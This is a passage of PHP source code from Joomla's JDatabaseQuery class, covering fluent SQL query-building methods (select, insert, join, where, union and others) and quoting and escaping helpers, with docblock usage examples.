	 * @param   string  $name  The name of the variable.
	 *
	 * @return  mixed
	 *
	 * @since   11.1
	 */
	public function __get($name)
	{
		return isset($this->$name) ? $this->$name : null;
	}

	/**
	 * Casts a value to a char.
	 *
	 * Ensure that the value is properly quoted before passing to the method.
	 *
	 * Usage:
	 * $query->select($query->castAsChar('a'));
	 *
	 * @param   string  $value  The value to cast as a char.
	 *
	 * @return  string  Returns the cast value.
	 *
	 * @since   11.1
	 */
	public function castAsChar($value)
	{
		return $value;
	}

	/**
	 * Gets the number of characters in a string.
	 *
	 * Note, use 'length' to find the number of bytes in a string.
	 *
	 * Usage:
	 * $query->select($query->charLength('a'));
	 *
	 * @param   string  $field  A value.
	 *
	 * @return  string  The required char length call.
	 *
	 * @since 11.1
	 */
	public function charLength($field)
	{
		return 'CHAR_LENGTH(' . $field . ')';
	}

	/**
	 * Clear data from the query or a specific clause of the query.
	 *
	 * @param   string  $clause  Optionally, the name of the clause to clear, or nothing to clear the whole query.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function clear($clause = null)
	{
		switch ($clause)
		{
			case 'select':
				$this->select = null;
				$this->type = null;
				break;

			case 'delete':
				$this->delete = null;
				$this->type = null;
				break;

			case 'update':
				$this->update = null;
				$this->type = null;
				break;

			case 'insert':
				$this->insert = null;
				$this->type = null;
				$this->autoIncrementField = null;
				break;

			case 'from':
				$this->from = null;
				break;

			case 'join':
				$this->join = null;
				break;

			case 'set':
				$this->set = null;
				break;

			case 'where':
				$this->where = null;
				break;

			case 'group':
				$this->group = null;
				break;

			case 'having':
				$this->having = null;
				break;

			case 'order':
				$this->order = null;
				break;

			case 'columns':
				$this->columns = null;
				break;

			case 'values':
				$this->values = null;
				break;

			default:
				$this->type = null;
				$this->select = null;
				$this->delete = null;
				$this->update = null;
				$this->insert = null;
				$this->from = null;
				$this->join = null;
				$this->set = null;
				$this->where = null;
				$this->group = null;
				$this->having = null;
				$this->order = null;
				$this->columns = null;
				$this->values = null;
				$this->autoIncrementField = null;
				break;
		}

		return $this;
	}

	/**
	 * Adds a column, or array of column names that would be used for an INSERT INTO statement.
	 *
	 * @param   mixed  $columns  A column name, or array of column names.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function columns($columns)
	{
		if (is_null($this->columns))
		{
			$this->columns = new JDatabaseQueryElement('()', $columns);
		}
		else
		{
			$this->columns->append($columns);
		}

		return $this;
	}

	/**
	 * Concatenates an array of column names or values.
	 *
	 * Usage:
	 * $query->select($query->concatenate(array('a', 'b')));
	 *
	 * @param   array   $values     An array of values to concatenate.
	 * @param   string  $separator  As separator to place between each value.
	 *
	 * @return  string  The concatenated values.
	 *
	 * @since   11.1
	 */
	public function concatenate($values, $separator = null)
	{
		if ($separator)
		{
			return 'CONCATENATE(' . implode(' || ' . $this->quote($separator) . ' || ', $values) . ')';
		}
		else
		{
			return 'CONCATENATE(' . implode(' || ', $values) . ')';
		}
	}

	/**
	 * Gets the current date and time.
	 *
	 * Usage:
	 * $query->where('published_up < '.$query->currentTimestamp());
	 *
	 * @return  string
	 *
	 * @since   11.1
	 */
	public function currentTimestamp()
	{
		return 'CURRENT_TIMESTAMP()';
	}

	/**
	 * Returns a PHP date() function compliant date format for the database driver.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the getDateFormat method directly.
	 *
	 * @return  string  The format string.
	 *
	 * @since   11.1
	 */
	public function dateFormat()
	{
		if (!($this->db instanceof JDatabase))
		{
			throw new JDatabaseException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
		}

		return $this->db->getDateFormat();
	}

	/**
	 * Creates a formatted dump of the query for debugging purposes.
	 *
	 * Usage:
	 * echo $query->dump();
	 *
	 * @return  string
	 *
	 * @since   11.3
	 */
	public function dump()
	{
		return '<pre class="jdatabasequery">' . str_replace('#__', $this->db->getPrefix(), $this) . '</pre>';
	}

	/**
	 * Add a table name to the DELETE clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->delete('#__a')->where('id = 1');
	 *
	 * @param   string  $table  The name of the table to delete from.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function delete($table = null)
	{
		$this->type = 'delete';
		$this->delete = new JDatabaseQueryElement('DELETE', null);

		if (!empty($table))
		{
			$this->from($table);
		}

		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the escape method directly.
	 *
	 * Note that 'e' is an alias for this method as it is in JDatabase.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 *
	 * @since   11.1
	 * @throws  DatabaseError if the internal db property is not a valid object.
	 */
	public function escape($text, $extra = false)
	{
		if (!($this->db instanceof JDatabase))
		{
			throw new JDatabaseException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
		}

		return $this->db->escape($text, $extra);
	}

	/**
	 * Add a table to the FROM clause of the query.
	 *
	 * Note that while an array of tables can be provided, it is recommended you use explicit joins.
	 *
	 * Usage:
	 * $query->select('*')->from('#__a');
	 *
	 * @param   mixed  $tables  A string or array of table names.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function from($tables)
	{
		if (is_null($this->from))
		{
			$this->from = new JDatabaseQueryElement('FROM', $tables);
		}
		else
		{
			$this->from->append($tables);
		}

		return $this;
	}

	/**
	 * Add a grouping column to the GROUP clause of the query.
	 *
	 * Usage:
	 * $query->group('id');
	 *
	 * @param   mixed  $columns  A string or array of ordering columns.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function group($columns)
	{
		if (is_null($this->group))
		{
			$this->group = new JDatabaseQueryElement('GROUP BY', $columns);
		}
		else
		{
			$this->group->append($columns);
		}

		return $this;
	}

	/**
	 * A conditions to the HAVING clause of the query.
	 *
	 * Usage:
	 * $query->group('id')->having('COUNT(id) > 5');
	 *
	 * @param   mixed   $conditions  A string or array of columns.
	 * @param   string  $glue        The glue by which to join the conditions. Defaults to AND.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function having($conditions, $glue = 'AND')
	{
		if (is_null($this->having))
		{
			$glue = strtoupper($glue);
			$this->having = new JDatabaseQueryElement('HAVING', $conditions, " $glue ");
		}
		else
		{
			$this->having->append($conditions);
		}

		return $this;
	}

	/**
	 * Add an INNER JOIN clause to the query.
	 *
	 * Usage:
	 * $query->innerJoin('b ON b.id = a.id')->innerJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function innerJoin($condition)
	{
		$this->join('INNER', $condition);

		return $this;
	}

	/**
	 * Add a table name to the INSERT clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->insert('#__a')->set('id = 1');
	 * $query->insert('#__a)->columns('id, title')->values('1,2')->values->('3,4');
	 * $query->insert('#__a)->columns('id, title')->values(array('1,2', '3,4'));
	 *
	 * @param   mixed    $table           The name of the table to insert data into.
	 * @param   boolean  $incrementField  The name of the field to auto increment.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function insert($table, $incrementField=false)
	{
		$this->type = 'insert';
		$this->insert = new JDatabaseQueryElement('INSERT INTO', $table);
		$this->autoIncrementField = $incrementField;

		return $this;
	}

	/**
	 * Add a JOIN clause to the query.
	 *
	 * Usage:
	 * $query->join('INNER', 'b ON b.id = a.id);
	 *
	 * @param   string  $type        The type of join. This string is prepended to the JOIN keyword.
	 * @param   string  $conditions  A string or array of conditions.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function join($type, $conditions)
	{
		if (is_null($this->join))
		{
			$this->join = array();
		}
		$this->join[] = new JDatabaseQueryElement(strtoupper($type) . ' JOIN', $conditions);

		return $this;
	}

	/**
	 * Add a LEFT JOIN clause to the query.
	 *
	 * Usage:
	 * $query->leftJoin('b ON b.id = a.id')->leftJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function leftJoin($condition)
	{
		$this->join('LEFT', $condition);

		return $this;
	}

	/**
	 * Get the length of a string in bytes.
	 *
	 * Note, use 'charLength' to find the number of characters in a string.
	 *
	 * Usage:
	 * query->where($query->length('a').' > 3');
	 *
	 * @param   string  $value  The string to measure.
	 *
	 * @return  int
	 *
	 * @since   11.1
	 */
	public function length($value)
	{
		return 'LENGTH(' . $value . ')';
	}

	/**
	 * Get the null or zero representation of a timestamp for the database driver.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the nullDate method directly.
	 *
	 * Usage:
	 * $query->where('modified_date <> '.$query->nullDate());
	 *
	 * @param   boolean  $quoted  Optionally wraps the null date in database quotes (true by default).
	 *
	 * @return  string  Null or zero representation of a timestamp.
	 *
	 * @since   11.1
	 */
	public function nullDate($quoted = true)
	{
		if (!($this->db instanceof JDatabase))
		{
			throw new JDatabaseException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
		}

		$result = $this->db->getNullDate($quoted);

		if ($quoted)
		{
			return $this->db->quote($result);
		}

		return $result;
	}

	/**
	 * Add a ordering column to the ORDER clause of the query.
	 *
	 * Usage:
	 * $query->order('foo')->order('bar');
	 * $query->order(array('foo','bar'));
	 *
	 * @param   mixed  $columns  A string or array of ordering columns.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function order($columns)
	{
		if (is_null($this->order))
		{
			$this->order = new JDatabaseQueryElement('ORDER BY', $columns);
		}
		else
		{
			$this->order->append($columns);
		}

		return $this;
	}

	/**
	 * Add an OUTER JOIN clause to the query.
	 *
	 * Usage:
	 * $query->outerJoin('b ON b.id = a.id')->outerJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function outerJoin($condition)
	{
		$this->join('OUTER', $condition);

		return $this;
	}

	/**
	 * Method to quote and optionally escape a string to database requirements for insertion into the database.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the quote method directly.
	 *
	 * Note that 'q' is an alias for this method as it is in JDatabase.
	 *
	 * Usage:
	 * $query->quote('fulltext');
	 * $query->q('fulltext');
	 *
	 * @param   string   $text    The string to quote.
	 * @param   boolean  $escape  True to escape the string, false to leave it unchanged.
	 *
	 * @return  string  The quoted input string.
	 *
	 * @since   11.1
	 * @throws  DatabaseError if the internal db property is not a valid object.
	 */
	public function quote($text, $escape = true)
	{
		if (!($this->db instanceof JDatabase))
		{
			throw new JDatabaseException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
		}

		return $this->db->quote(($escape ? $this->db->escape($text) : $text));
	}

	/**
	 * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection
	 * risks and reserved word conflicts.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the quoteName method directly.
	 *
	 * Note that 'qn' is an alias for this method as it is in JDatabase.
	 *
	 * Usage:
	 * $query->quoteName('#__a');
	 * $query->qn('#__a');
	 *
	 * @param   string  $name  The identifier name to wrap in quotes.
	 *
	 * @return  string  The quote wrapped name.
	 *
	 * @since   11.1
	 * @throws  DatabaseError if the internal db property is not a valid object.
	 */
	public function quoteName($name)
	{
		if (!($this->db instanceof JDatabase))
		{
			throw new JDatabaseException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
		}

		return $this->db->quoteName($name);
	}

	/**
	 * Add a RIGHT JOIN clause to the query.
	 *
	 * Usage:
	 * $query->rightJoin('b ON b.id = a.id')->rightJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function rightJoin($condition)
	{
		$this->join('RIGHT', $condition);

		return $this;
	}

	/**
	 * Add a single column, or array of columns to the SELECT clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 * The select method can, however, be called multiple times in the same query.
	 *
	 * Usage:
	 * $query->select('a.*')->select('b.id');
	 * $query->select(array('a.*', 'b.id'));
	 *
	 * @param   mixed  $columns  A string or an array of field names.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function select($columns)
	{
		$this->type = 'select';

		if (is_null($this->select))
		{
			$this->select = new JDatabaseQueryElement('SELECT', $columns);
		}
		else
		{
			$this->select->append($columns);
		}

		return $this;
	}

	/**
	 * Add a single condition string, or an array of strings to the SET clause of the query.
	 *
	 * Usage:
	 * $query->set('a = 1')->set('b = 2');
	 * $query->set(array('a = 1', 'b = 2');
	 *
	 * @param   mixed   $conditions  A string or array of string conditions.
	 * @param   string  $glue        The glue by which to join the condition strings. Defaults to ,.
	 *                               Note that the glue is set on first use and cannot be changed.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function set($conditions, $glue = ',')
	{
		if (is_null($this->set))
		{
			$glue = strtoupper($glue);
			$this->set = new JDatabaseQueryElement('SET', $conditions, "\n\t$glue ");
		}
		else
		{
			$this->set->append($conditions);
		}

		return $this;
	}

	/**
	 * Add a table name to the UPDATE clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->update('#__foo')->set(...);
	 *
	 * @param   string  $table  A table to update.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function update($table)
	{
		$this->type = 'update';
		$this->update = new JDatabaseQueryElement('UPDATE', $table);

		return $this;
	}

	/**
	 * Adds a tuple, or array of tuples that would be used as values for an INSERT INTO statement.
	 *
	 * Usage:
	 * $query->values('1,2,3')->values('4,5,6');
	 * $query->values(array('1,2,3', '4,5,6'));
	 *
	 * @param   string  $values  A single tuple, or array of tuples.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function values($values)
	{
		if (is_null($this->values))
		{
			$this->values = new JDatabaseQueryElement('()', $values, '),(');
		}
		else
		{
			$this->values->append($values);
		}

		return $this;
	}

	/**
	 * Add a single condition, or an array of conditions to the WHERE clause of the query.
	 *
	 * Usage:
	 * $query->where('a = 1')->where('b = 2');
	 * $query->where(array('a = 1', 'b = 2'));
	 *
	 * @param   mixed   $conditions  A string or array of where conditions.
	 * @param   string  $glue        The glue by which to join the conditions. Defaults to AND.
	 *                               Note that the glue is set on first use and cannot be changed.
	 *
	 * @return  JDatabaseQuery  Returns this object to allow chaining.
	 *
	 * @since   11.1
	 */
	public function where($conditions, $glue = 'AND')
	{
		if (is_null($this->where))
		{
			$glue = strtoupper($glue);
			$this->where = new JDatabaseQueryElement('WHERE', $conditions, " $glue ");
		}
		else
		{
			$this->where->append($conditions);
		}

		return $this;
	}

   /**
     * Method to provide deep copy support to nested objects and
     * arrays when cloning.
     *
     * @return  void
     *
     * @since   11.3
     */
    public function __clone()
    {
        foreach ($this as $k => $v)
        {
            if ($k === 'db')
            {
                continue;
            }

            if (is_object($v) || is_array($v))
            {
                $this->$k = unserialize(serialize($v));
            }
        }
    }

    /**
	 * Add a query to UNION with the current query.
	 * Multiple unions each require separate statements and create an array of unions.
	 *
	 * Usage:
	 * $query->union('SELECT name FROM  #__foo')
	 * $query->union('SELECT name FROM  #__foo','distinct')
	 * $query->union(array('SELECT name FROM  #__foo','SELECT name FROM  #__bar'))
	 *
	 * @param   mixed    $query     The JDatabaseQuery object or string to union.
	 * @param   boolean  $distinct  True to only return distinct rows from the union.
	 * @param   string   $glue      The glue by which to join the conditions.
	 *
	 * @return  mixed    The JDatabaseQuery object on success or boolean false on failure.
	 *
	 * @since   12.1
	 */
	public function union($query, $distinct = false, $glue = '')
	{

		// Clear any ORDER BY clause in UNION query
		// See http://dev.mysql.com/doc/refman/5.0/en/union.html
		if (!is_null($this->order))
		{
			$this->clear('order');
		}

		// Set up the DISTINCT flag, the name with parentheses, and the glue.
		if ($distinct)
		{
			$name = 'UNION DISTINCT ()';
			$glue = ')' . PHP_EOL . 'UNION DISTINCT (';
		}
		else
		{
			$glue = ')' . PHP_EOL . 'UNION (';
			$name = 'UNION ()';

		}
		// Get the JDatabaseQueryElement if it does not exist
		if (is_null($this->union))
		{
				$this->union = new JDatabaseQueryElement($name, $query, "$glue");
		}
		// Otherwise append the second UNION.
		else
		{
			$glue = '';
			$this->union->append($query);
		}

		return $this;
	}

	/**
	 * Add a query to UNION DISTINCT with the current query. Simply a proxy to Union with the Distinct clause.
	 *
	 * Usage:
	 * $query->unionDistinct('SELECT name FROM  #__foo')
	 *
	 * @param   mixed   $query  The JDatabaseQuery object or string to union.
	 * @param   string  $glue   The glue by which to join the conditions.
	 *
	 * @return  mixed   The JDatabaseQuery object on success or boolean false on failure.
	 *
	 * @since   12.1
	 */
	public function unionDistinct($query, $glue = '')
	{
		$distinct = true;

		// Apply the distinct flag to the union.
		return $this->union($query, $distinct, $glue);
	}
}